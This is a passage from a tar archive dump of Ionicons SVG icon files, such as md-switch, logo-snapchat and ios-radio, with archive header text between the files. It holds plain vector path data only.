171.9z"/></svg>ionicons/svg/md-arrow-dropdown-circle.svg000064400000000306151701353760014535 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.125 48 48 141.125 48 256s93.125 208 208 208 208-93.125 208-208S370.875 48 256 48zm0 272l-96-96h192l-96 96z"/></svg>ionicons/svg/md-switch.svg000064400000001245151701353760011616 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M168 216h94.9c14.5 14.8 34.7 24 57.1 24 44.2 0 80-35.8 80-80s-35.8-80-80-80c-22.4 0-42.6 9.2-57.1 24H168c-30.8 0-56 25.2-56 56s25.2 56 56 56zm-16.9-72.9c4.6-4.6 10.6-7.1 16.9-7.1h75.7c-2.4 7.6-3.7 15.6-3.7 24s1.3 16.4 3.7 24H168c-6.3 0-12.4-2.5-16.9-7.1-4.6-4.6-7.1-10.6-7.1-16.9s2.5-12.4 7.1-16.9zM344 296h-94.9c-14.5-14.8-34.7-24-57.1-24-44.2 0-80 35.8-80 80s35.8 80 80 80c22.4 0 42.6-9.2 57.1-24H344c30.8 0 56-25.2 56-56s-25.2-56-56-56zm16.9 72.9c-4.6 4.6-10.6 7.1-16.9 7.1h-75.7c2.4-7.6 3.7-15.6 3.7-24s-1.3-16.4-3.7-24H344c6.3 0 12.4 2.5 16.9 7.1 4.6 4.6 7.1 10.6 7.1 16.9s-2.5 12.4-7.1 16.9z"/></svg>ionicons/svg/md-volume-low.svg000064400000000334151701353760012421 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 192v128h85.334L256 431.543V80.458L149.334 192H64zm288 64c0-38.399-21.333-72.407-53.333-88.863v176.636C330.667 328.408 352 294.4 352 256z"/></svg>ionicons/svg/ios-outlet.svg000064400000001215151701353760012020 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M359 78H153c-2.8 0-5.6.8-8 2.3C86.7 116.9 48 182 48 256c0 73.9 38.7 138.1 97 175.6 2.4 1.6 5.2 2.4 8.1 2.4h205.8c2.9 0 5.7-.8 8.1-2.4 58.3-37.5 97-101.7 97-175.6 0-74-38.7-139.1-97-175.7-2.4-1.5-5.2-2.3-8-2.3zM192.9 270.8h-22.3c-2.1 0-3.7-1.7-3.7-3.7V155.9c0-2 1.7-3.7 3.7-3.7h22.3c2.1 0 3.7 1.7 3.7 3.7v111.2c0 2.1-1.7 3.7-3.7 3.7zM282 389.5h-52c-2.1 0-3.7-1.7-3.7-3.7v-40.2c0-16.5 13.6-30.5 30.1-30.3 16.2.2 29.3 13.5 29.3 29.7v40.8c0 2-1.6 3.7-3.7 3.7zM341.4 256h-22.3c-2.1 0-3.7-1.7-3.7-3.7v-81.6c0-2 1.7-3.7 3.7-3.7h22.3c2.1 0 3.7 1.7 3.7 3.7v81.6c0 2-1.6 3.7-3.7 3.7z"/></svg>ionicons/svg/md-trending-up.svg000064400000000277151701353760012555 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M345.6 128l51.3 51.3-109.3 109.4-89.6-89.6L32 365.4 63.6 397 198 262.5l89.6 89.7 141.1-141 51.3 51.3V128H345.6z"/></svg>ionicons/svg/md-cloud-done.svg000064400000000610151701353760012341 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.002 217.001C388.998 148.002 328.998 96 256 96c-57.998 0-107.998 32.998-132.998 81.001C63.002 183.002 16 233.998 16 296c0 65.996 53.999 120 120 120h260c55 0 100-45 100-100 0-52.998-40.996-96.001-92.998-98.999zM213.333 362.667L138.667 288l29.864-29.864 44.802 44.802L324.271 192l29.865 29.864-140.803 140.803z"/></svg>ionicons/svg/md-arrow-dropright-circle.svg000064400000000306151701353760014703 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 464c114.875 0 208-93.125 208-208S370.875 48 256 48 48 141.125 48 256s93.125 208 208 208zm-32-112V160l96 96-96 96z"/></svg>ionicons/svg/ios-tv.svg000064400000001052151701353760011134 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M451.7 78H60.3C34.8 78 14 98.8 14 124.3v215.5c0 25.5 20.8 46.3 46.3 46.3h391.5c25.5 0 46.3-20.8 46.3-46.3V124.3C498 98.8 477.2 78 451.7 78zM470 339.7c0 10.1-8.2 18.3-18.3 18.3H60.3c-10.1 0-18.3-8.2-18.3-18.3V124.3c0-10.1 8.2-18.3 18.3-18.3h391.5c10.1 0 18.3 8.2 18.3 18.3v215.4z"/><path d="M436 128H76c-6.6 0-12 5.4-12 12v184c0 6.6 5.4 12 12 12h360c6.6 0 12-5.4 12-12V140c0-6.6-5.4-12-12-12zM370 406H142c-7.7 0-14 6.3-14 14s6.3 14 14 14h228c7.7 0 14-6.3 14-14s-6.3-14-14-14z"/></svg>ionicons/svg/md-skip-forward.svg000064400000000176151701353760012727 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 64v384l277.3-192L64 64zM384 64h64v384h-64z"/></svg>ionicons/svg/md-battery-full.svg000064400000000351151701353760012724 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M338.2 76.8h-37.4V32h-89.6v44.8h-37.4c-16.4 0-29.8 13.4-29.8 29.8V450c0 16.6 13.4 30 29.8 30H338c16.6 0 30-13.4 30-29.8V106.6c0-16.4-13.4-29.8-29.8-29.8z"/></svg>ionicons/svg/md-paper-plane.svg000064400000000327151701353760012521 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M48 270.9l118.9 44.6L181.7 464 256 360l104 104L464 48 48 270.9zm294.9 126L260 313.4 374.9 152 193.6 289.8 124.9 265l291-156.2-73 288.1z"/></svg>ionicons/svg/md-help-circle-outline.svg000064400000001053151701353760014156 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 90c44.3 0 86 17.3 117.4 48.6C404.7 170 422 211.7 422 256s-17.3 86-48.6 117.4C342 404.7 300.3 422 256 422s-86-17.3-117.4-48.6C107.3 342 90 300.3 90 256s17.3-86 48.6-117.4C170 107.3 211.7 90 256 90m0-42C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/><path d="M235 339h42v42h-42zM276.8 318h-41.6c0-67 62.4-62.2 62.4-103.8 0-22.9-18.7-41.7-41.6-41.7S214.4 192 214.4 214h-41.6c0-46 37.2-83 83.2-83s83.2 37.1 83.2 83.1c0 52-62.4 57.9-62.4 103.9z"/></svg>ionicons/svg/ios-square.svg000064400000000276151701353760012012 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M388 416H124c-15.4 0-28-12.6-28-28V124c0-15.4 12.6-28 28-28h264c15.4 0 28 12.6 28 28v264c0 15.4-12.6 28-28 28z"/></svg>ionicons/svg/ios-text.svg000064400000000477151701353760011501 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 64C141.1 64 48 139.2 48 232c0 64.9 45.6 121.2 112.3 149.2-5.2 25.8-21 47-33.5 60.5-2.3 2.5.2 6.5 3.6 6.3 11.5-.8 32.9-4.4 51-12.7 21.5-9.9 40.3-30.1 46.3-36.9 9.3 1 18.8 1.6 28.5 1.6 114.9 0 208-75.2 208-168C464 139.2 370.9 64 256 64z"/></svg>ionicons/svg/ios-ribbon.svg000064400000001422151701353760011757 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M254.9 293.4c73 .6 132.3-58.7 131.7-131.8-.6-69.9-59.7-129-129.5-129.6-73-.6-132.3 58.7-131.7 131.8.6 69.9 59.7 129 129.5 129.6zm-3.7-204.1c44.3-2.8 80.9 33.8 78.1 78.2-2.3 36.6-31.9 66.2-68.5 68.6-44.3 2.8-80.9-33.8-78.1-78.2 2.3-36.6 31.9-66.2 68.5-68.6z"/><path d="M256 308.4c-42.8 0-81.4-18.1-108.5-47-1.9-2-5.2-1.7-6.6.7L65.1 394.8c-3.1 5.5.8 12.3 7.2 12.3h80.1c2.9 0 5.6 1.5 7.1 4l39 64.9c3.4 5.7 11.8 5.2 14.6-.8l43-94.6 31.3-68.9c1.4-3-1.2-6.3-4.5-5.7-8.8 1.5-17.7 2.4-26.9 2.4zM364.5 261.3c-14.6 15.5-32.4 28-52.5 36.1-1 .4-1.8 1.1-2.2 2.1l-44.7 97.7c-.5 1.1-.5 2.3 0 3.4l33.9 74.5c2.7 6 11.2 6.5 14.6.8l39-64.9c1.5-2.5 4.2-4 7.1-4h80.1c6.3 0 10.3-6.8 7.2-12.3l-75.8-132.8c-1.5-2.2-4.8-2.6-6.7-.6z"/></svg>ionicons/svg/md-cash.svg000064400000000544151701353760011234 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 96v256h448V96H32zm160.5 224h-80.4c0-26.6-21.5-48.1-48.1-48.1V192c35.3 0 64-28.7 64-64h64.5c-19.9 23.5-32.5 57.8-32.5 96s12.6 72.5 32.5 96zM448 271.9c-26 0-48 21.5-48 48.1h-80.5c19.9-23.5 32.5-57.8 32.5-96s-12.6-72.5-32.5-96H384c0 35.3 28.7 64 64 64v79.9zM32 384h448v32H32z"/></svg>ionicons/svg/md-more.svg000064400000000505151701353760011255 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M296 136c0-22.002-17.998-40-40-40s-40 17.998-40 40 17.998 40 40 40 40-17.998 40-40zm0 240c0-22.002-17.998-40-40-40s-40 17.998-40 40 17.998 40 40 40 40-17.998 40-40zm0-120c0-22.002-17.998-40-40-40s-40 17.998-40 40 17.998 40 40 40 40-17.998 40-40z"/></svg>ionicons/svg/logo-snapchat.svg000064400000004336151701353760012462 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M495.998 360.389l-.189-14.501-14.398-1.278c-15.413-1.396-43.8-7.219-54.301-16.9-16.281-15.011-35.688-36.199-35.688-51.893 0-1.014 0-2.546 4.15-5.186 4.985-3.174 12.589-5.584 19.297-7.71 5.217-1.654 10.144-3.217 14.394-5.236 9.236-4.39 18.498-15.978 17.471-28.807-1.215-15.166-14.424-27.046-30.072-27.046-4.021 0-8.068.76-12.027 2.259-8.027 3.041-13.743 4.41-17.705 4.962.747-9.319 1.791-20.12 3.211-30.67 5.111-37.948-5.281-73.509-29.264-101.042C335.498 48.208 297.376 32 256.283 32H256c-41.093 0-79.215 16.208-104.591 45.341-23.982 27.534-34.375 63.345-29.265 101.292 1.416 10.51 2.46 21.231 3.21 30.618-3.97-.559-9.686-1.998-17.703-5.034-3.965-1.502-8.017-2.295-12.043-2.295-15.641-.001-28.844 11.852-30.057 27.003-1.027 12.818 8.235 24.393 17.47 28.783 4.251 2.02 9.181 3.578 14.4 5.232 6.707 2.125 14.309 4.532 19.293 7.703 4.147 2.639 4.147 4.168 4.147 5.182 0 8.66-6.191 24.691-35.688 51.888-10.499 9.681-39.055 15.501-54.588 16.897l-14.572 1.311L16 360.603c0 1.679.312 10.546 6.485 20.319 5.246 8.306 16.073 19.283 37.863 24.407a1139.713 1139.713 0 0 0 15.208 3.454c2.306.512 4.555 1.01 6.454 1.453l.081.623c.9 7.004 1.611 12.535 4.392 17.75 2.453 4.6 8.574 12.316 22.015 12.316 2.478 0 5.249-.246 8.472-.751 1.672-.263 3.386-.554 5.2-.863 7.116-1.212 15.182-2.587 23.451-2.587 10.277 0 18.732 2.188 25.846 6.688 4.531 2.867 8.892 5.972 13.509 9.26C202.967 465.481 223.358 480 256 480c32.726 0 53.293-14.582 71.439-27.446 4.576-3.244 8.898-6.309 13.377-9.142 7.113-4.5 15.568-6.688 25.846-6.688 8.27 0 16.334 1.375 23.449 2.586 1.814.311 3.529.602 5.202.864 3.223.505 5.993.751 8.472.751 13.44 0 19.562-7.715 22.015-12.313 2.781-5.214 3.492-10.746 4.392-17.749l.082-.629c1.898-.441 4.148-.941 6.455-1.452 4.023-.892 9.029-2.001 15.206-3.454 21.851-5.139 32.611-16.17 37.79-24.518 6.097-9.828 6.296-18.736 6.273-20.421zM208 128c8.836 0 16 10.745 16 24s-7.164 24-16 24-16-10.745-16-24 7.164-24 16-24zm103.615 77.698C296.368 220.725 276.617 229 256 229c-20.838 0-40.604-8.29-55.657-23.343a8 8 0 1 1 11.313-11.313C223.688 206.374 239.436 213 256 213c16.387 0 32.15-6.64 44.385-18.698a8 8 0 0 1 11.23 11.396zM304 176c-8.836 0-16-10.746-16-24s7.164-24 16-24 16 10.746 16 24-7.164 24-16 24z"/></svg>ionicons/svg/md-gift.svg000064400000001235151701353760011245 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M424 134.5h-45.8c2.3-6.6 3.8-13.9 3.8-21.3 0-35.4-28.1-63.2-63-63.2-22.1 0-41.2 10.7-52.5 28L256 92.3l-10.5-14.5C234.2 60.7 215.1 48 193 48c-34.9 0-63 29.8-63 65.2 0 7.5 1.5 14.7 3.8 21.3H88c-23.3 0-41.8 19-41.8 42.7L46 421.8c0 23.7 17.4 42.2 40.7 42.2h336.7c23.3 0 42.7-18.5 42.7-42.2V177.2c-.1-23.7-18.8-42.7-42.1-42.7zM320 91c11.6 0 21 9.5 21 21 0 11.6-9.4 21-21 21s-21-9.5-21-21 9.4-21 21-21zm-128 0c11.6 0 21 9.5 21 21 0 11.6-9.4 21-21 21s-21-9.5-21-21 9.4-21 21-21zM88 177.2h106.7L151 237.5l34 25 50-69.1.2-.2-.2 228.6H88V177.2zm336 244.6H277V193.4l50 69.1 34-25-43.7-60.4H424v244.7z"/></svg>ionicons/svg/ios-aperture.svg000064400000002011151701353760012326 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M250.2 371.4c-1.8 0-2.7 2.2-1.4 3.4l54.9 54.9L326 452c42.4-15.2 78.5-43.7 103.1-80.6H250.2zM167 334.6V444c27 12.8 57.1 20 89 20 14.1 0 27.9-1.4 41.2-4.1L170.4 333.2c-1.2-1.3-3.4-.4-3.4 1.4zM256 48c-13.9 0-27.4 1.4-40.5 4l126.8 126.8c1.3 1.3 3.4.4 3.4-1.4V68.3C318.6 55.3 288.2 48 256 48zM68.1 166.6C55.2 193.7 48 224 48 256c0 14.1 1.4 27.9 4.1 41.2L179.2 170c1.3-1.3.4-3.4-1.4-3.4H68.1zM186.7 59.9C144 75 107.7 103.6 83 140.7h179.7c1.8 0 2.7-2.2 1.4-3.4l-77.4-77.4zM167 220.6v70.7c0 1.1.4 2.1 1.2 2.8l50 50c.8.8 1.8 1.2 2.8 1.2h70.7c1.1 0 2.1-.4 2.8-1.2l50-50c.8-.8 1.2-1.8 1.2-2.8v-70.7c0-1.1-.4-2.1-1.2-2.8l-50-50c-.8-.8-1.8-1.2-2.8-1.2H221c-1.1 0-2.1.4-2.8 1.2l-50 50c-.7.8-1.2 1.8-1.2 2.8zM460 215.5L333.6 342c-1.3 1.3-.4 3.4 1.4 3.4h108.8c13-27.1 20.2-57.4 20.2-89.4 0-13.9-1.4-27.4-4-40.5zM371.8 83.2v179c0 1.8 2.2 2.7 3.4 1.4l76.9-76.9c-15-42.6-43.5-78.8-80.3-103.5zM60.1 325.9c15.2 42.6 43.9 78.8 81 103.4V249.8c0-1.8-2.2-2.7-3.4-1.4l-77.6 77.5z"/></svg>ionicons/svg/ios-paper.svg000064400000001114151701353760011611 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M124 80v322c0 7.7-6.3 14-14 14s-14-6.3-14-14V112H80c-17.7 0-32 14.3-32 32v288c0 17.7 14.3 32 32 32h353.1c17 0 30.9-13.8 30.9-30.9V80c0-17.7-14.3-32-32-32l-278 2c-17.7 0-30 12.3-30 30zm66 32h84c7.7 0 14 6.3 14 14s-6.3 14-14 14h-84c-7.7 0-14-6.3-14-14s6.3-14 14-14zm0 160h148c7.7 0 14 6.3 14 14s-6.3 14-14 14H190c-7.7 0-14-6.3-14-14s6.3-14 14-14zm196 108H190c-7.7 0-14-6.3-14-14s6.3-14 14-14h196c7.7 0 14 6.3 14 14s-6.3 14-14 14zm0-160H190c-7.7 0-14-6.3-14-14s6.3-14 14-14h196c7.7 0 14 6.3 14 14s-6.3 14-14 14z"/></svg>ionicons/svg/ios-arrow-dropright-circle.svg000064400000000533151701353760015077 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M48 256c0 114.9 93.1 208 208 208s208-93.1 208-208S370.9 48 256 48 48 141.1 48 256zm244.5 0l-81.9-81.1c-7.5-7.5-7.5-19.8 0-27.3s19.8-7.5 27.3 0l95.4 95.7c7.3 7.3 7.5 19.1.6 26.6l-94 94.3c-3.8 3.8-8.7 5.7-13.7 5.7-4.9 0-9.9-1.9-13.6-5.6-7.5-7.5-7.6-19.7 0-27.3l79.9-81z"/></svg>ionicons/svg/ios-fastforward.svg000064400000000414151701353760013026 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M476.1 249.3L268 129.1c-5.4-3.1-12.3.6-12.3 6.7V251L44.3 129.1c-5.4-3.1-12.3.6-12.3 6.7v240.3c0 6.1 6.9 9.8 12.3 6.7L255.6 261v115.2c0 6.1 6.9 9.8 12.3 6.7L476 262.7c5.3-3 5.3-10.4.1-13.4z"/></svg>ionicons/svg/md-checkbox.svg000064400000000536151701353760012105 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.333 64H106.667C83.198 64 64 83.198 64 106.667v298.666C64 428.802 83.198 448 106.667 448h298.666C428.802 448 448 428.802 448 405.333V106.667C448 83.198 428.802 64 405.333 64zm-192 298.667L106.667 256l29.864-29.864 76.802 76.802 162.136-162.136 29.864 29.865-192 192z"/></svg>ionicons/svg/logo-dropbox.svg000064400000000466151701353760012336 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M177 77L64 150.9l78.1 62.7L256 143.1zM64 276.3l113 73.9 79-66.1-113.9-70.5zM256 284.1l79 66.1 113-73.9-78.1-62.7zM448 150.9L335 77l-79 66.1 113.9 70.5z"/><path d="M256.2 298.3l-79.8 66-34.4-22.2V367l114 68 114-68v-24.9l-34.2 22.2z"/></svg>ionicons/svg/logo-xbox.svg000064400000001347151701353760011640 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M126.8 248.3c39.7-58.6 77.9-92.8 77.9-92.8s-42.1-48.9-92.8-67.4l-3.3-.8C61.7 128.4 32 188.7 32 256c0 50.7 16.9 97.5 45.2 135 0-4.4.6-70.3 49.6-142.7zM480 256c0-67.3-29.7-127.6-76.6-168.7l-3.2.9c-50.7 18.5-92.9 67.4-92.9 67.4s38.2 34.2 77.9 92.8c49 72.4 49.6 138.3 49.5 142.7C463.2 353.5 480 306.7 480 256zM201.2 80.9c29.3 13.1 54.6 34.6 54.6 34.6s25.5-21.4 54.8-34.6c36.8-16.5 64.9-11.3 72.3-9.5C346.8 46.6 303.1 32 256 32s-90.8 14.6-126.9 39.4c7.2-1.8 35.2-7.1 72.1 9.5zM358.7 292.9C312.4 236 255.8 199 255.8 199s-56.3 37-102.7 93.9c-39.8 48.9-54.6 84.8-62.6 107.8l-1.3 4.8c41 45.7 100.5 74.5 166.8 74.5s125.8-28.8 166.8-74.5l-1.4-4.8c-8-23-22.9-58.9-62.7-107.8z"/></svg>ionicons/svg/ios-medkit.svg000064400000000726151701353760011767 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M432 128h-84V96c0-17.6-14.4-32-32-32H196c-17.6 0-32 14.4-32 32v32H80c-17.7 0-32 14.3-32 32v256c0 17.7 14.3 32 32 32h352c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32zm-240-28c0-4.4 3.6-8 8-8h112c4.4 0 8 3.6 8 8v28H192v-28zm128 204h-48v48c0 8.8-7.2 16-16 16s-16-7.2-16-16v-48h-48c-8.8 0-16-7.2-16-16s7.2-16 16-16h48v-48c0-8.8 7.2-16 16-16s16 7.2 16 16v48h48c8.8 0 16 7.2 16 16s-7.2 16-16 16z"/></svg>ionicons/svg/logo-flickr.svg000064400000000515151701353760012126 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 64H160c-52.8 0-96 43.2-96 96v192c0 52.8 43.2 96 96 96h192c52.8 0 96-43.2 96-96V160c0-52.8-43.2-96-96-96zM184 304c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm144 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z"/></svg>ionicons/svg/md-american-football.svg000064400000000655151701353760013700 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 256c14.1 35 36.2 66 64 90.6V165.4C68.2 190 46.1 221 32 256zM480 256c-14.1-35-36.2-66-64-90.6v181.2c27.8-24.6 49.9-55.6 64-90.6z"/><g><path d="M256 105c-47.1 0-91 13.4-128 36.5v228.9c37 23.1 80.9 36.5 128 36.5s91-13.4 128-36.5V141.5c-37-23.1-80.9-36.5-128-36.5zm96 135v64h-32v-32h-48v32h-32v-32h-48v32h-32v-96h32v32h48v-32h32v32h48v-32h32v32z"/></g></svg>ionicons/svg/ios-car.svg000064400000001311151701353760011246 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 196.2c-13.8-30.8-49-92.2-100-92.2H196c-51 0-84.8 59.4-100 92.2-24 23-48 45.7-48 84.8v76c0 3.7 2.6 7 6.2 7.8C69.1 368.2 116.4 375 256 375s186.9-6.8 201.8-10.2c3.6-.8 6.2-4.1 6.2-7.8v-76c0-39-22.3-63.1-48-84.8zM190 128h132c40.5 0 62 60 62 70H128c0-10 27-70 62-70zm-78 203.7c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32c0 17.6-14.3 32-32 32zM328 300c0 8.8-7.2 16-16 16H200c-8.8 0-16-7.2-16-16s7.2-16 16-16h112c8.8 0 16 7.2 16 16zm72 32c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zM160 384c-47.9 0-96-5-96-5 0 17-.3 29 6 29h85c6.3 0 5-13.2 5-24zM352 384c48 0 96-5 96-5 0 16 2 29-5 29h-86c-6.7 0-5-13.5-5-24z"/></svg>ionicons/svg/ios-print.svg000064400000001005151701353760011635 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 248v200c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V248c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16zM384 48H128c-8.8 0-16 7.2-16 16v20c0 2.2 1.8 4 4 4h280c2.2 0 4-1.8 4-4V64c0-8.8-7.2-16-16-16z"/><path d="M432.5 112h-352C62.9 112 48 125.8 48 143.3v174.4c0 17.5 14.9 32.3 32.5 32.3H96c4.4 0 8-3.6 8-8V236c0-15.5 12.5-28 28-28h248c15.5 0 28 12.5 28 28v106c0 4.4 3.6 8 8 8h16.5c17.6 0 31.5-14.8 31.5-32.3V143.3c0-17.5-13.9-31.3-31.5-31.3z"/></svg>ionicons/svg/md-arrow-forward.svg000064400000000263151701353760013110 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M85 277.375h259.704L225.002 397.077 256 427l171-171L256 85l-29.922 29.924 118.626 119.701H85v42.75z"/></svg>ionicons/svg/ios-radio.svg000064400000003425151701353760011607 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M60 256c0-51 18.6-97.9 54-135.6 5.3-5.7 5.2-14.8-.4-20.3-2.6-2.6-6.1-4.1-9.7-4.1-3.8 0-7.4 1.6-10.1 4.4C53.3 143.7 32 197.4 32 256c0 58.5 21.3 112.3 61.7 155.5 2.7 2.9 6.3 4.5 10.2 4.5 3.6 0 7.1-1.4 9.7-3.9 2.7-2.6 4.3-6.2 4.4-10 .1-3.9-1.3-7.6-4-10.3C78.6 353.9 60 307 60 256zM418.2 100.4c-2.6-2.8-6.2-4.4-10-4.4-3.6 0-7.1 1.4-9.7 3.9-2.7 2.6-4.3 6.2-4.4 10-.1 3.9 1.3 7.6 4 10.3 35.3 37.8 54 84.7 54 135.7s-18.6 97.9-54 135.7c-5.3 5.6-5.2 14.7.3 20.2 2.5 2.6 6 4 9.7 4 3.9 0 7.6-1.6 10.2-4.6 40.4-43 61.7-96.7 61.7-155.2 0-58.5-21.3-112.4-61.8-155.6z"/><path d="M159.2 347.7c-24.1-24.3-37.3-56.6-37.3-90.9 0-35 13.8-67.9 38.8-92.4 5.5-5.3 5.6-14.2.2-19.8-2.6-2.7-6.2-4.2-10-4.2-3.7 0-7.2 1.4-9.8 4C110.7 174.2 94 214.1 94 256.8c0 41.6 16.1 80.9 45.3 110.6 2.7 2.7 6.2 4.2 9.9 4.2s7.2-1.5 9.8-4.2c2.6-2.6 4.1-6.1 4.1-9.8.2-3.7-1.2-7.2-3.9-9.9zM371 144.5c-2.6-2.6-6-4-9.8-4-3.8 0-7.3 1.5-10 4.1-5.4 5.4-5.4 14.3.1 19.8 25 24.5 38.7 56.5 38.7 91.5 0 34.2-13.1 67.4-37.1 91.8-5.4 5.4-5.3 14.3.1 19.7 2.6 2.6 6.2 4.1 9.8 4.1 3.8 0 7.4-1.5 9.9-4.1C402 337.7 418 297.6 418 256c0-42.5-16.7-81.5-47-111.5z"/><path d="M207.1 183.4c-2.6-2.7-6.2-4.2-10-4.2-3.7 0-7.2 1.4-9.8 4.1-19.8 19.5-30.8 45.6-30.8 73.3 0 27.1 10.5 52.7 29.5 72.1 2.7 2.7 6.2 4.2 10 4.2 3.7 0 7.2-1.4 9.8-4 2.7-2.6 4.2-6.1 4.2-9.9 0-3.8-1.4-7.3-4.1-10-13.8-14-21.4-32.6-21.4-52.5 0-20.3 8-39.2 22.4-53.4 5.4-5.2 5.5-14.1.2-19.7zM325.7 183.2c-2.6-2.6-6-4-9.8-4-3.8 0-7.3 1.5-10 4.1-5.4 5.4-5.4 14.3.1 19.8 14.5 14.3 22.4 33.3 22.4 53.5 0 19.8-7.6 38.5-21.5 52.5-2.6 2.6-4.1 6.2-4 9.9 0 3.7 1.5 7.2 4.1 9.8 2.6 2.6 6.2 4.1 9.8 4.1 3.7 0 7.3-1.5 9.9-4.2 19.1-19.4 29.6-45 29.6-72.1.1-27.8-10.8-53.8-30.6-73.4zM256 218c-21 0-38 17-38 38s17 38 38 38 38-17 38-38-17.1-38-38-38z"/></svg>ionicons/svg/md-star.svg000064400000000321151701353760011260 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 372.686L380.83 448l-33.021-142.066L458 210.409l-145.267-12.475L256 64l-56.743 133.934L54 210.409l110.192 95.525L131.161 448z"/></svg>ionicons/svg/md-unlock.svg000064400000000644151701353760011612 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376 186h-20v-40c0-55-45-100-100-100S156 91 156 146h37.998c0-34.004 28.003-62.002 62.002-62.002 34.004 0 62.002 27.998 62.002 62.002H318v40H136c-22.002 0-40 17.998-40 40v200c0 22.002 17.998 40 40 40h240c22.002 0 40-17.998 40-40V226c0-22.002-17.998-40-40-40zM256 368c-22.002 0-40-17.998-40-40s17.998-40 40-40 40 17.998 40 40-17.998 40-40 40z"/></svg>ionicons/svg/logo-model-s.svg000064400000004114151701353760012213 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M443.6 208.4c-3.1-1.9-2.2-6.6 1.3-7.3l5.3-1.1c7.1 0 22.4-2.3 25.6-5.4 3.1-3.2 4.2-5.4 4.2-8.2s-1.7-7.7-4.8-11.1c-3-3.4-16-5.2-23.7-6.2s-8.7 0-10.7 1.2c-2 1.3-2.8 9.5-3.1 15-.1 1.2-.9 2.2-2.1 2.5l-.4.1c-3.3.7-6.6-1.1-7.8-4.3-4.6-13-10.7-32.5-19.4-48.4-11.5-20.8-23.5-27.4-28.5-29-4.9-1.5-9.4-2.6-43-6.1-33.8-3.6-63.1-4.1-80.5-4.1s-46.7.5-80.6 4.1c-33.6 3.4-38.1 4.5-43 6.1-5 1.6-17 8.2-28.5 29-9.4 17.1-15.7 38.3-20.4 51.3-.6 1.5-2.2 2.4-3.8 2.1-3.1-.7-5.4-3.3-5.6-6.5-.4-5-1.2-10.7-2.9-11.7-2-1.3-3-2.2-10.7-1.2s-20.6 2.8-23.7 6.2c-3 3.4-4.7 8.3-4.7 11.1s1.1 5.1 4.2 8.3c3.1 3.2 18.5 5.4 25.6 5.4l5.3 1.1c3.5.7 4.4 5.4 1.3 7.3-9.1 5.7-23.2 15.3-32.3 25.6 0 0-4.1 28.7-4.1 62.1 0 48 5.8 92.4 5.8 92.4 1.8.3 3.6.6 5.3.9 0 1.2.7 13.1 2 21.2.3 2 1.3 5.5 6.2 5.5h64.7c1.9 0 5.1-1.6 5.1-3.7l1-17c7.2.1 3.2.1 10.9 0 24.8-.3 15.6-7.5 27.1-7.3 11.3.2 55 3 96 3s84.7-2.8 96-3c11.5-.2 2.3 7.1 27.1 7.3 7.7.1 4.7.1 11.9 0l1 17c0 2.1 3.2 3.7 5.1 3.7h63.5c4.9 0 5.9-3.5 6.2-5.5 1.3-8.1 1.9-19.9 